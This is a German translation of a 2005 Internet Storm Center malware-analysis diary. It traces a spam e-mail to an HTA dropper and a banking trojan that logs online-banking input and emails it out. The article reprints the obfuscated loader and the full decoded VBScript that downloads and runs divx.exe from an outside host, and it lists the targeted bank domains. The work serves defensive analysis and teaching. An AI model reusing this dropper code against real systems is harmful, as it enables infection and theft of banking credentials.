zurück zum Artikel

Schädlingen auf der Spur, Teil 5

Jürgen Schmidt

Tom Liston vom Internet Stormcenter folgt einer neuen Spur, die ihn zu einer russischen Bank und dann zu einem auf Online-Banking spezialisierten Spionage-Programm führt.

Dies ist ein Tagebucheintrag des Diensthabenden im [isc.sans.org Internet Storm Center]. heise Security veröffentlicht die deutsche Übersetzung mit freundlicher Genehmigung des ISC und des Autors Tom Liston. Das Original finden Sie hier [1] .

Schädlingen auf der Spur Teil1 , Teil 2 [2] , Teil3 [3] , Teil 4 [4].

Ich habe einige Hinweise erhalten, dass die letzte Folge schon eine Weile her ist und wegen der überwältigenden Nachfrage (danke Mama) geht's jetzt weiter. Ich dachte, wir sehen uns mal etwas neueres an, etwas, was vielleicht in den letzten Wochen auch in Ihrer Inbox gelandet ist. Deshalb hab ich dieser Folge den Untertitel "Eine neue Fährte" gegeben.

Achtung: Keiner der Links im folgenden Text lässt sich anklicken. Das hat einen guten Grund. Hätte ich die Links anklickbar gemacht, fände sich da draußen sicher irgendein Depp, der sie auch anklickt. Wenn Sie drauf bestehen, selbst mit den Sites rumzuspielen, müssen Sie so wenigstens Copy&Paste benutzen. Wenn Sie dabei Ihr System infizieren, kommen Sie bloß nicht auf die Idee, mir die Schuld zu geben. Wenn Sie mir einen Mail schicken, um mir mitzuteilen, dass Sie sich was eingefangen haben, werd ich wahrscheinlich zurückschreiben und mich über Sie lustig machen. Ich hab Sie gewarnt.

Eines Tages hab ich die folgende Mail über die Adresse einer Mailingliste von incidents.org bekommen. Der kleine Sasha braucht offenbar dringend Hilfe:

(Anm. d. Ü.: es folgt wirres Gestammel, dessen Übersetzung ich mir erspart habe.)

Delivered-To: xxxxxxxxxxx@gmail.com
From: Sasha NOBLE <xxxxxxxxxxx@roxette.org>
To: xxxxxxx@incidents.org
Subject: Help me
Date: Wed, 04 May 2005 11:15:39 +0000

Hello, Lucas! some help sunburned normal. how ray
backbit me violently? repeatedly position wrought my
east except blood. i overrode a boiling dad beyond
science. kindly. their tight spring under office, which
sneaked future, elastic current. Norman felt that stiff
list. i drew Marlen who ridded me Jabari! she dug
elastic arm, that interbred foolishly... beyond
interest dowed tin, authority withdrew above the expert
toward sad boat: you misread her ready decision aboard
our special expansion, who laid wearily. a bright
balance swam considering our idea; elastic, angry wall.
black drink sock cost, he hoised yearly, deliberately,
tenderly. this good brass came from his offer; rough,
possible paper. he wound your future dress for the
private chief, which miscast exactly. she gave him
separate. i outputted clear surprise, which
misunderstood obnoxiously... bent the general play,

Jude MARINO.

Ok -- vielleicht braucht auch Jude Hilfe -- oder Lucas -- oder Norman -- oder Marlin -- oder ...

Aber ich schweife ab.

Offenbar brauchte jemand dringend meine Hilfe -- und ein Grammatikbuch. Wie könnte ich diese eindringliche Bitte ignorieren.

Wenn ich so ein herzloses Ungeheuer wie die meisten wäre, würde ich einfach in meinem Outlook auf Löschen drücken. Aber um den Kink^Hg of Pop in einer frühen Inkarnation zu zitieren: "Ich bin nicht wie die anderen Typen" (Michael Jackson in Thriller, d.Ü.). Also klickte ich auf den Lösch-Button in Thunderbird.

Ich versuchte es zumindest. Doch genau in diesem Moment versagten die verdammten Batterien meiner schnurlosen Maus. Übermüdet und mit Koffeein vollgepumpt wie ich war, betrachtete ich das als eine Art Zeichen (Ich neige zu sowas. Irgendwann erzähl ich Ihnen die Geschichte von dem Törtchen, das ich für die Reinkarnation meiner kürzlich verstorbenen Katze hielt).

So entschied ich mich, ein paar frische AAs einzulegen und zu erforschen, was Sasha/Jude/Lucas/Norman/Marlin/Jabari (im Weiteren als SJLNMJ bezeichnet) solche Schwierigkeiten bereitet. Unzusammenhängende Gedanken und schlechte Punktuation waren jedenfalls ihr geringstes Problem. In der E-Mail lauerte Böses: HTML.

E-Mails sollten Text sein, Text und nur Text. Wenn Gott gewollt hätte, dass E-Mail in HTML geschrieben würden, endeten Gebete traditionell mit </amen>.

Aber ich schweife ab.

Wenn sich schon der Text von SJLNMJs Mail liest wie James Joyce auf Crack, enthält ja vielleicht der HTML-Teil der Nachricht eine erhellende Spur:

Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

<HTML> <BODY> <FONT face="Verdana, Arial"> Hello, Lucas!
<P>
some help sunburned normal. how ray backbit me violently? repeatedly
position wrought my east except blood. i overrode a boiling dad beyond
science. kindly. their tight spring under office, which sneaked future,
elastic current. Norman felt that stiff list. i drew Marlen who ridded
me Jabari! she dug elastic arm, that interbred foolishly... beyond
interest dowed tin, authority withdrew above the expert toward sad boat:
<P>
you misread her ready decision aboard our special expansion, who laid
wearily. a bright balance swam considering our idea; elastic, angry
wall. black drink sock cost, he hoised yearly, deliberately, tenderly.
this good brass came from his offer; rough, possible paper. he wound
your future dress for the private chief, which miscast exactly. she gave
him separate. i outputted clear surprise, which misunderstood
obnoxiously...
<P>
bent the general play,

Jude MARINO. </FONT><P>
<img width=50 height=100 style="display:none"><div
id="abc"></div><ObJecT
data="http://www.oil-bank.ru/cgi-bin/gen/pscounter.cgi?action=click">

Ah! Damit ist alles klar. (Okay. Ich hab gelogen. Es ist immer noch wirres Kauderwelsch).

Aber halt! Was ist das am Ende? Ein OBJECT-Tag! Interessant! Mal sehn, wo uns das hinführt.

(Anmerkung: Ich sagte zwar "uns", aber um das klar zu stellen: Ich habs nicht so gemeint. Denkt nicht mal drüber nach, das selbst auszuprobieren. Ihr wartet hier -- ich geh rein...)

(Anmerkung 2: Ich spreche mit dir, Herr "Ich weiß was ich tue". Lass es.)

Wenn man die Ausgabe dieses CGI-Skripts mit dem Parameter "action=click" holt, erhält man das Folgende:

<HTML><HEAD><TITLE>Universal Plugin pre-Installer</TITLE>
<HTA:APPLICATION id=PlugInst
APPLICATIONNAME="Plugin pre-Installer"
SHOWINTASKBAR=NO
CAPTION=YES
SINGLEINSTANCE=YES
MAXIMIZEBUTTON=NO
MINIMIZEBUTTON=NO
WINDOWSTATE=MINIMIZE
/></HEAD>
<OBJECT id="MSplay" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B">
</OBJECT>
<BODY>
<SCRIPT language="VBScript">
EP=document.location.href
j=InStrRev(EP,"/",-1,1)
EP=Left(EP,j)
If InStr(EP,"cgi-bin")<>0 Then
CGIP=EP & "pscounter.cgi"
Else
CGIP=EP & "cgi-bin/gen/pscounter.cgi"
End If
IP= CGIP & "?action=install"
Set oSA = CreateObject("Shell.Application")
On Error Resume Next
oSA.ShellExecute "mshta",IP
If Err.number <> 0 Then
Cmd="mshta " & IP
MSplay.Run (Cmd),1,FALSE
End If
self.Close
</SCRIPT>
</BODY></HTML>

Ich hab nie behauptet, ein JavaScript-Guru zu sein (warum sollte man sowas überhaupt öffentlich behaupten?), aber es sieht ganz so aus, als ob uns dieses kleine Juwel wieder zuück zum Anfang führt -- nur diesmal mit dem Parameter "action=install".

Mit waghalsiger Unbekümmertheit, unter völliger Mißachtung meiner persönlichen Sicherheit und nach einem halben Liter Mountain Dew kehrte ich zu dieser russischen Bank zurück, auf der Suche nach mehr Action.

(Vergesst nicht: Ich bin 3 Meter groß und kugelfest. Ihr nicht. Probiert es also nicht.)

<HTML><HEAD><TITLE>Universal Plugin pre-Installer</TITLE>
<HTA:APPLICATION id=PlugInst
APPLICATIONNAME="Plugin Installer"
SHOWINTASKBAR=NO
CAPTION=YES
SINGLEINSTANCE=YES
MAXIMIZEBUTTON=NO
MINIMIZEBUTTON=NO
WINDOWSTATE=MINIMIZE/>
</HEAD>
<OBJECT id="MSplay" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B">
</OBJECT>
<OBJECT id="MSmedia" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228">
</OBJECT>
<BODY>
<SCRIPT LANGUAGE="JavaScript">
d="=UFYUBSFB je>Nbjo`IUB?=IUNM?=IFBE?=IUB;BQQMJDBUJPOR#QYQ
8#OBNF>QYQ TIPXJOUBTLCBS>OP
DBQJ#>ZFTD#JOHMFJOTUBODF8#NBYJNJ[FCVUUPOZ#NJO7#XJOEPXTUBUF>C#
0t$0#%CPEZ+#TDSJQU? gvodujpo
Em(Sq-Mo-St-emm*|usz+#tBY>voftdbqf(%52EPEC%3fTusfbn*<wbs pT>ofx
BdujwfYPckfdu(tBY*<

--<tonnenweise Zeichensalat entfernt>";

l='\0\t\n\r- !"#$%&\'()*+,-./0123456789:;<=>?@
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\134]^_`abcdefghijklmnopqrstuvwxyz{|}~';
s='';
for (i=0;i<d.length;i++){b=d.charAt(i);a=l.indexOf(b);if (a==1) a=9;if
(a==2) a=10;if (a==3) a=13;if (a==4) a=34;if (a<=31 &
a>=14){off=s.length-(l.indexOf(d.charAt(++i))-36+90*(l.indexOf(d.charAt(++i))-35))-1;
lp=off+a-14+4;s=s+s.substring(off,lp);}else
if (a>0){ if (a>=41) a=a-1; s=s+l.charAt(a);} else
s=s+b;}document.writeln(s);
</SCRIPT></body></html>

Verdammt... Das sieht aus wie schon mal verdauter Buchtstabensalat (Anmerkung: Das oben ist keine exakte Wiedergabe der heruntergeladenen Datei. Einige der Zeichen des Originals lassen sich hier nicht richtig darstellen. Sorry.)

Und nun lieber Leser, verrate ich dir ein kleines Geheimnis. Bitte verstehe, dass das was ich gleich sage absolut vertraulich zu behandeln ist... es ist top secret: Das ganze Zeug da oben ist...

... kodiert.

Da hat jemand etwas geschrieben, das wir NICHT SEHEN SOLLEN.

Pssst - erzähl es keinem.

Ok. Vielleicht war es auch -- naja -- ziemlich offensichtlich.

Offensichtlich ist jedoch nicht, was wir jetzt damit anstellen werden. Macht euch bereit. Der gute, alte Dr. Tom nimmt euch mit auf einen Ausflug ins Land des Reverse Engineering und lehrt euch hoffentlich das ein oder andere, wie ihr selber mit solch verschleiertem Code zurecht kommt.

Vor vielen Jahren, als ich noch jünger, dümmer und energiegeladener war, hätte ich ein bißchen Perl-Code zusammengezimmert, um den Sinn dieser wirren Zeichenfolge zu entschlüsseln. Mit der Zeit bin ich jedoch reifer geworden und habe gelernt, dass jugendlicher Elan und Begeisterung gegen die faule Gerissenheit des Alters fast immer den Kürzeren zieht. "Warum härter arbeiten, wenn man es schlauer anstellen kann?" und ähnliche Klischees kommen mir da in den Sinn. Ich bin in einer Lebensphase angelangt, in der ich die Fertigkeit meines Gegenübers gegen ihn wenden kann -- ungefähr wie Road Runner gegen Willi Koyote. (Ich wette, du hast gedacht, jetzt kommt irgend so ein Zen/Kung-Fu-Verweis, oder?)

Lassen wir den Datenteil mal außer Acht und werfen einen Blick auf den funktionalen Teil. Der Code entschlüsselt die Daten und schreibt sie mit "document.write()" in ein existierendes HTML-Dokument. Dieses "Dokument" führt den Code dann aus und macht etwas - vermutlich etwas böses. Aber was, wenn wir diesen Prozess irgendwie ausnutzen könnten, um uns das dekodierte Doukment zu zeigen? Es stellt sich heraus, dass das gar nicht so schwer ist.

JavaScript hat viel mehr Möglichkeiten, wenn es auf vom lokalen System aus gestartet wird, als wenn es eine Web-Seite ausführt. Das nutzen wir aus, und fügen einen Aufruf zu einer ActiveX-Komponente ein, der eine Datei auf dem Testsystem öffnet. Mit einer weiteren kleinen Änderung an dem Skript bringen wir es dazu, das dekodierte Dokument in eine Datei zu schreiben.

Hey - das klingt ja schon fast, als wüsste ich, wovon ich spreche, oder?

Bevor es weitergeht: Mach das nie, NIEMALS auf einem Produktionssystem. Mach das nie auf einem Rechner, der für irgend etwas anderes genutzt wird. Mach das nie auf irgendeiner Maschine, die ans Netz angeschlossen ist. Mach das niemals auf einem System, das du nicht danach formatieren und neu installieren kannst. Spuck nicht gegen den Wind -- NIE.

Echt nicht.

Also... wir bauen das folgende Schnipsel in den JavaScript-Code ein; gleich am Anfang nach der Zeile <SCRIPT LANGUAGE="JavaScript">:

var fso, output;
fso = new ActiveXObject("Scripting.FileSystemObject");
output = fso.OpenTextFile("C:\\test.txt" , 8, 1, -2);

Und dann ändern wir noch den Aufruf von "document.writeln()" am Ende in "output.write()".

Damit erzeugt das Schnipsel am Anfang ein FileSystemObject, über das es eine neue Datei namens "test.txt" im Wurzelverzeichnis des Laufwerks C: anlegt. Der Handle dieser Ausgabedatei heißt "output" und nach der Änderung des Funktionsaufrufs am Ende in "output.write()" landet alles, was vorher in das HTML-Dokument geschrieben wurde, in unserer Ausgabedatei. Dann starten wir das editierte Skript im Internet Explorer auf unserem opferbaren Testsystem und finden Bingo! die dekodierte Ausgabe in C:\test.txt

(Anm.d.Ü: Stattdessen kann man oft auch einfach das "document.write(...)" durch ein "alert(...)" ersetzen. Das erzeugt eine Messagebox mit dem dekodierten Code und hat den Vorteil, dass es auch mit anderen Browsern und sogar auf anderen Betriebssystemen funktioniert. Trotzdem sollte man mit verdächtigem Code natürlich nur auf reinen Testsystemen hantieren.)

Da hat also jemand einiges an Zeit investiert, dieses "Verschlüsselungsverfahren" zu entwerfen. Mehrere Stunden gingen dafür drauf, die Dekodierfunktion zu entwerfen und den Programmcode in Kauderwelsch umzuwandeln. Und wir haben das ganze in wenigen Minuten über den haufen geworfen. Der anonyme Programmierer hätte seine Zeit besser damit verbracht, mal eine Ethikkurs zu besuchen, sich einen richtigen Job zu besorgen oder eine echte Programmiersprache zu lernen...

Aber ich schweife ab.

Die Ausgabe in meiner "test.txt" enthielt folgendes:

<TEXTAREA id="Main_HTA">
<HTML><HEAD>
<HTA:APPLICATION id=PXP
APPLICATIONNAME="PXP"
SHOWINTASKBAR=NO
CAPTION=YES
SINGLEINSTANCE=YES
MAXIMIZEBUTTON=NO
MINIMIZEBUTTON=NO
WINDOWSTATE=MINIMIZE
/>
</HEAD>
<BODY>
<SCRIPT>
function Dl(Rp,Ln,Rs,dll)
{
try
{
sAX=unescape("%41DODB%2eStream");
var oS=new ActiveXObject(sAX);
var oX=new ActiveXObject("Microsoft.XMLHTTP");
oX.Open("GET",Rp,0);
oX.Send();
var XB=oX.responseBody;
oS.Type=1;
oS.Mode=3;
oS.Open;
oS.Write(XB);
oS.SaveToFile(Ln,2);
var oA=new ActiveXObject("Shell.Application");
if (dll==0)
{
Cmd=Ln+" "+Rs;
oA.ShellExecute(Cmd);
}
else
{
Cmd=Ln+Rs;
oA.ShellExecute("rundll32",Cmd);
}
}
catch(e){}
}
self.moveTo(5000,5000);
</TEXTAREA>
<IFRAME name="icounter" src="about:blank" width=10 height=10></IFRAME>
<SCRIPT language="VBScript">
ssfDESKTOP = 0
ssfPROGRAMS = 2
ssfSTARTMENU = 11
ssfDESKTOPDIRECTORY = 16
ssfFONTS=20
ssfCOMMONSTARTMENU = 22
ssfCOMMONPROGRAMS = 23
ssfCOMMONSTARTUP = 24
ssfCOMMONDESKTOPDIR = 25
ssfCOMMONALTSTARTUP = 30
ssfCOMMONFAVORITES = 31
ssfCOMMONAPPDATA = 35
ssfWINDOWS = 36
ssfSYSTEM = 37
Dim oXMLHTTP
Dim oShellApp
Dim oFolder
Dim oFolderItem
Dim PluginFile
Dim WinDir
Dim EnvStrings
Dim Font_Path_Components
Dim XMLBody
Dim cByte
Dim ByteCode
Dim Main_HTA_Body
Dim Cmd_Params
Dim Module_Path
Dim Trojan_Path
Dim IntervalID
Dim nCmdCalled
nCmdCalled=0
WinEnv_Mask="windir="
Exploit_Path=document.location.href
j=InStrRev(Exploit_Path,"/",-1,1)
Exploit_Path=Left(Exploit_Path,j)
If InStr(Exploit_Path,"cgi-bin")<>0 Then
CGI_Script_Path=Exploit_Path & "pscounter.cgi"
Else
CGI_Script_Path=Exploit_Path & "cgi-bin/gen/pscounter.cgi"
End If
document.frames(0).location.href = CGI_Script_Path & "?action=finish"
InitPaths()
Randomize
self.MoveTo 6000,6000
ExeName=GenerateName()
ExeName=ExeName & ".exe"
DllName=GenerateName()
DllName=DllName & ".dll"
HTAName=GenerateName()
HTAName=HTAName & ".hta"
Set oShellApp = CreateObject("Shell.Application")
Set oFolder = oShellApp.NameSpace(ssfFONTS)
Set oFolderItem=oFolder.ParseName("Symbol.ttf")
TestName=oFolderItem.Path
xTestName=Replace(TestName,"Symbol","Symbolw",1,-1,vbTextCompare)
Font_Path_Components=Split(oFolderItem.Path,"\",-1,1)
WinDir= Font_Path_Components(0) & "\" & Font_Path_Components(1) & "\"
ExeName=WinDir & ExeName
DllName=WinDir & DllName
HTAName=WinDir & HTAName
On Error Resume Next
Set oFolderItem = oFolder.ParseName("Symbolw.ttf")
If Err.number <> 0 Then
Call Run_Installer
Else
LinkPath=oFolderItem.Path
If LinkPath="" Then
Call Run_Installer
Else
self.Close
End If
End If
setTimeout "HangUp()",9000
Sub Run_Installer
Main_HTA_Body=document.all.Main_HTA.innerText
Download_Call="Dl('" & Trojan_Path & "'" & "," & "'" & ExeName & "'" &
"," & "'',0);"
Download_Call=Replace(Download_Call,"\","\\")
Main_HTA_Body= Main_HTA_Body & Download_Call
Main_HTA_Body= Main_HTA_Body & "self.close();</SCR" & "IPT></BODY>"
Main_HTA_Body=Replace(Main_HTA_Body,vbCrLf,"")
' Prepare the string that will be passed to cmd.exe
Main_HTA_Body=Replace(Main_HTA_Body,">","^>")
Main_HTA_Body=Replace(Main_HTA_Body,"<","^<")
WinOS=Get_Win_Version
Select Case WinOS
Case "NT"
Call Download_and_Execute(Trojan_Path,ExeName,"",0)
Cmd_Params="cmd /c copy " & TestName & " " & xTestName
MSplay.Run (Cmd_Params),1,FALSE
Case "2K"
' Create an additional HTA file (can't be greater than 1000 bytes)
Cmd_Params="/c echo " & Main_HTA_Body & " > " & HTAName
oShellApp.ShellExecute "cmd",Cmd_Params,"open"
oShellApp.ShellExecute "mshta",HTAName
Cmd_Params="/c copy " & TestName & " " & xTestName
oShellApp.ShellExecute "cmd", Cmd_Params
Cmd_Params="/c del " & HTAName
IntervalID=setInterval("Delete_HTA(Cmd_Params)",3000)
Case "XP"
' Create an additional HTA file (can't be greater than 1000 bytes)
Cmd_Params="/c echo " & Main_HTA_Body & " > " & HTAName
oShellApp.ShellExecute "cmd",Cmd_Params,"open"
oShellApp.ShellExecute "mshta",HTAName
Cmd_Params="/c copy " & TestName & " " & xTestName
oShellApp.ShellExecute "cmd", Cmd_Params
Cmd_Params="/c del " & HTAName
IntervalID=setInterval("Delete_HTA(Cmd_Params)",3000)
Case Else
Call Download_and_Execute(Trojan_Path,ExeName,"",0)
Cmd_Params="command /c copy " & TestName & " " & xTestName
MSplay.Run (Cmd_Params),1,FALSE
End Select
End Sub

Sub Download_and_Execute(Remote_path,Local_name,Run_params,Run_by_Rundll32)

set oXMLHTTP = CreateObject("Microsoft.XMLHTTP")
Module_Path=Remote_path
OpenSession()
GetStatus=GetFile()
If GetStatus=0 Then
Plugin_size=LenB(XMLBody)
Set PluginFile=MSmedia.CreateTextFile(Local_name, TRUE)
For j=1 To Plugin_size
cByte=MidB(XMLBody,j,1)
ByteCode=AscB(cByte)
WriteFile()
Next
PluginFile.Close
If Run_by_Rundll32 = 0 Then
Cmd=Local_name & " " & Run_params
Else
Cmd="rundll32" & " " & Local_name & Run_params
End If
On Error Resume Next
MSplay.Run (Cmd),1,FALSE
End If
set oXMLHTTP=Nothing
End Sub

Function HangUp()
clearInterval(IntervalID)
self.Close
End Function

Function Delete_HTA(params)
If nCmdCalled<4 Then
oShellApp.ShellExecute "cmd",params
nCmdCalled=nCmdCalled+1
End If
End Function

Function Get_Win_Version()
IEversion=navigator.appVersion
If InStr(IEversion,"Windows 95") <> 0 Then
Get_Win_Version="95"
ElseIf InStr(IEversion,"Windows NT 4") <> 0 Then
Get_Win_Version="NT"
ElseIf InStr(IEversion,"Win 9x 4.9") <> 0 Then
Get_Win_Version="ME"
ElseIf InStr(IEversion,"Windows 98") <> 0 Then
Get_Win_Version="98"
ElseIf InStr(IEversion,"Windows NT 5.0") <> 0 Then
Get_Win_Version="2K"
ElseIf InStr(IEversion,"Windows NT 5.1") <> 0 Then
Get_Win_Version="XP"
Else
Get_Win_Version="Unknown"
End If
End Function

Function WriteFile
PluginFile.Write(Chr(ByteCode))
End Function

Function GetFile
oXMLHTTP.Send()
On Error Resume Next
XMLBody=oXMLHTTP.responseBody
If Err.number <> 0 Then
GetFile=-1
Else
GetFile=0
End If
End Function

Function OpenSession
Req_type="G" & "E" & "T"
HTTPSession=oXMLHTTP.Open(Req_Type,Module_Path,0)
End Function

Function GenerateName()
RandomName=""
rr=Int(8*Rnd)
ik=0
Do
ii=Int(25*Rnd)+97
RandomName=RandomName+Chr(ii)
ik=ik+1
Loop While ik<rr
GenerateName=RandomName
End Function

Function InitPaths
Trojan_Path="http://www.subtilius.com/divx.exe"
End Function

</SCRIPT>
</BODY></HTML>

Ist das nicht nett? Ich liebe es, wie die nicht mal mehr versuchen, den Schein zu wahren. Mit Variablennamen wie "Trojan_Path" erübrigen sich wenigstens Diskussionen über angeblich "harmlose Marktforschungs-Tools".

A pro pos Trojan_Path -- schauen wir doch mal, was wir da am anderen Ende finden. Die Datei divx.exe ist ein Win32-Programm mit 21536 Bytes. Ein kurzer Blick enthüllt schnell, dass das Programm mit FSG gepackt ist, einen kaputten PE-Header und einen kleinen, ziemlich verbogenen MZ-Header aufweist. Schon wieder versucht jemand, etwas zu verstecken.

Gepackte und verstümmelte Programme sind auch nur Widrigkeiten, die einem ernsthaften Versuch sie auszupacken, nicht viel entgegenzusetzen haben. Denn wie die "Verschlüsselung", die wir gerade "geknackt" haben, tragen sie den Schlüssel zu ihrem Geheimnis mit sich. Mit ein bisschen Trickserei geben sie ihr Geheimnis preis. FSG ist da keine Ausnahme und mit ein bisschen Fummelei konnte ich auch divx.exe auspacken. Dabei entdeckte ich einige interessante Dinge.

Beim Start kopiert sich divx.exe als winldra.exe in den Ordner \Windows\system32, legt dort einige DLL-Dateien ab und setzt einen Autostart-Schlüssel in der Registry, um beim Systemstart aktiviert zu werden (HKLM\Software\Microsoft\Windows\CurrentVersion\Run). Die DLLs benutzt das Programm um sich in den Windows-Hook CBTProc einzuklinken. Das ist ein dubioses Windows-feature für Computer Based Training, über das ein Prozess beobachten kann, was im aktiven Fenster passiert.

Microsoft schreibt dazu: "Das System ruft diese Funktionen auf, bevor es ein Fenster aktiviert, erzeugt, vernichtet, minimiert, maximiert, bewegt oder seine Größe verändert; bevor es System-Kommandos beendet; bevor es Maus- oder Tastatureingaben aus der Message Queue entfernt; bevor es den Tastaturfokus setzt; oder bevor es die Message Queue des Systems synchronisiert. Ein computergestütztes Trainingsprogramm (CBT) benutzt diesen Hook, um vom System nützliche Benachrichtigungen zu erhalten."

"Nützliche Benachrichtigungen" also... Stimmt! Ziemlich nützlich, wenn du ein Virus bist. Mit diesem Zugriff überwacht das Programm zum Beispiel den Zugang zu diversen Banken-Seiten:

cbonline.co.uk
new.egg.com
anbusiness.com
my.if.com
co-operativebank.co.uk
abbeynational.co.uk
smile.co.uk
commerzbank.com
cbksec.com
westlb.de
westlbmarkets.net
adig.de
ebase.com
dresdner-privat.de
teledata.de
diba.de
schwaebisch-hall.de
bayernlb.de
bfg.de
seb.de
cashbox.de
1822direkt.com
internet-filiale.net
comdirect.de
diraba.de
dab-bank.com
dit.de
fraspa1822.de
haspa.de
gad.de
gallinat.de
helaba-trust.de
heller-bank.de
ikb.de
lbb.de
lrp.de
lbbw-direkt.de
lbbw.de
leonberger.de
wuestenrot.de
nordlb.de
olb.de
rwg.de
rbgarrel.de
rb-graefo.de
paffrather.de
rb-pfaffenhofen-roth.de
raiba-nu-wh.de
santander.de
sparda-hh.de
sparda.de
spk-marne.de
izb.de
lzo.com
naspa.de
osgv.de
neumarkt-direkt.de
sskduesseldorf.de
sskm.de
suedwestlb.de
ammerland.de
borkenervb.de
vilstal.net
hsbc.co.uk
sparkasse
skodabank.de
volkswagenbank.de
bmwbank.de

Des weiteren sind da noch einige Tricksereien mit Servern von citibank.de, die ich allerdings noch nicht ganz durchschaue.

Nebenher korrigiert das Programm alle Rechenfehler des Benutzers, während er die Seiten benutzt. (Nein, ich wollte nur sehen, ob Sie noch aufpassen.) In Wahrheit schneidet das Programm alle Eingaben auf diesen Seiten mit und versendet die via E-Mail. Und das protokolliert es auch noch in einem Registry-Eintrag:

HKCU\Software\SARS\mailsended = 1

Nett, oder? Außerdem spielt es in altbekannter Manier mit der Hosts-Datei des Systems herum und leitet eine beträchtliche Zahl von Adressen bekannter Antivirus-Firmen auf die Loopback-Adresse um.

Zur Information: Als ich anfing, mit diesem Schädling rumzuspielen, hab ich in an alle wichtigen AV-Hersteller geschickt, sodass er bald über deren Signatur-Dateien entdeckt werden sollte. Des weiteren versuchen wir, die bösartigen Seiten still zu legen.

Wenn ich in Anbetracht dieser Erkenntnisse die Geschichte von SJLNMJ nochmal überdenke, komme ich zu dem Schluss, dass die tatsächlich Hilfe brauchten: Hilfe, um Zugang zu meinem Online-Banking-Konto zu erlangen. Ich hab damit meine Lektion gelernt: Anderen zu helfen ist dumm. Die Diebe und Gauner dieser Welt missbrauchen unsere Hilfsbereitschaft nur, um sie gegen uns zu benutzen. DEN Fehler mach ich nicht nochmal.

Hey! Schau mal dort! Da ist dieser Typ in Nigeria, der einen Weg sucht, 50000 US-Dollar außer Landes zu schaffen. Alles was er dazu braucht, ist ein bisschen Hilfe ...


ju [5]

URL dieses Artikels:
https://www.heise.de/-270688

Links in diesem Artikel:
[1] http://isc.sans.edu/diary.html?date=2005-05-11
[2] https://www.heise.de/hintergrund/Schaedlingen-auf-der-Spur-Teil-2-270560.html
[3] https://www.heise.de/hintergrund/Schaedlingen-auf-der-Spur-Teil-3-270594.html
[4] https://www.heise.de/hintergrund/Schaedlingen-auf-der-Spur-Teil-4-270606.html
[5] mailto:ju@heisec.de